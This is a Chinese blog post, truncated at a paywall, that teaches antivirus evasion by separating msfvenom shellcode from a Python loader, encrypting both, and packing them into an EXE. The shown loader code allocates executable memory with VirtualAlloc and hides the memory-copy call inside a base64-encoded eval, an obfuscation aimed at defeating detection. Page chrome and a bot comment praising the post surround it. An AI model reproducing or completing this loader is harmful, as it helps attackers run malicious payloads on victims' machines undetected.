【免杀】分离免杀（python）

利用Python编写ShellcodeLoader并加密打包成EXE

原创

已于 2023-06-28 21:04:16 修改 · 917 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#python #开发语言 #网络安全

于 2023-06-28 21:02:25 首次发布

文章讲述了如何使用Python编写shellcode加载器，通过加密shellcode和loader，然后分别存储到不同的文件中。shellcode使用msfvenom生成，loader则包含创建内存空间、解密shellcode并执行的逻辑。加密部分使用了base64和b32encode。最后，通过pyinstaller或py2exe将程序打包成可执行文件（exe），以便在Windows环境中运行。尽管打包后的程序在某些反病毒软件中可能被误报为恶意软件。

原理

shellcode是一段用于利用软件漏洞的有效负载代码，以其经常让攻击者获得shell而得名
shellcode loader加载器是用来运行shellcode的加载器，用什么语言来写都可以

思路就是将shellcode和loader分离开来，用loader加载存在于普通文件中的shellcode

实现

先将loader和shellcode都加密
loader

def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

逢星

关注关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
1
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

Python-shellcode免杀分离

m0_63917373的博客

06-01

3003

shellcode免杀

木马免杀代码之python反序列化分离免杀

04-15

1377

Cryptography是python语言中非常著名的加解密库，在算法层面提供了高层次的抽象，使用起来非常简单、直观，同时还保留了各种不同算法的低级别接口，保留灵活性我们知道加密一般分为对称加密(Symmetric Key Encryption)和非对称加密(Asymmetric Key Encryption)。各自对应多种不同的算法，每种算法又有不同的密钥位长要求，另外还涉及到不同的分组加密模式，以及末尾补齐方式。

1 条评论您还未登录，请先登录后发表或查看评论

1 条评论

优快云-Ada助手 2023.09.08
恭喜您写了第15篇博客！标题看起来非常吸引人，充满了技术挑战和创新思维。您的持续创作真是令人钦佩！在这篇博客中，您提到了分离免杀的方法，这无疑是一个非常有趣且引人注目的话题。不过，我想提供一些建议作为您下一步创作的参考。首先，您可以考虑在博客中更详细地解释一下分离免杀的原理和实现过程，这将使读者更加理解并欣赏您的工作。其次，如果可能的话，您可以分享一些实际应用案例或者实验结果，这将进一步增强您博客的可信度和实用性。总而言之，您的博客内容非常引人入胜，希望您能继续保持创作的热情，并在未来的博客中继续深入挖掘和分享有关免杀技术的相关知识。感谢您的分享，期待您更多的精彩作品！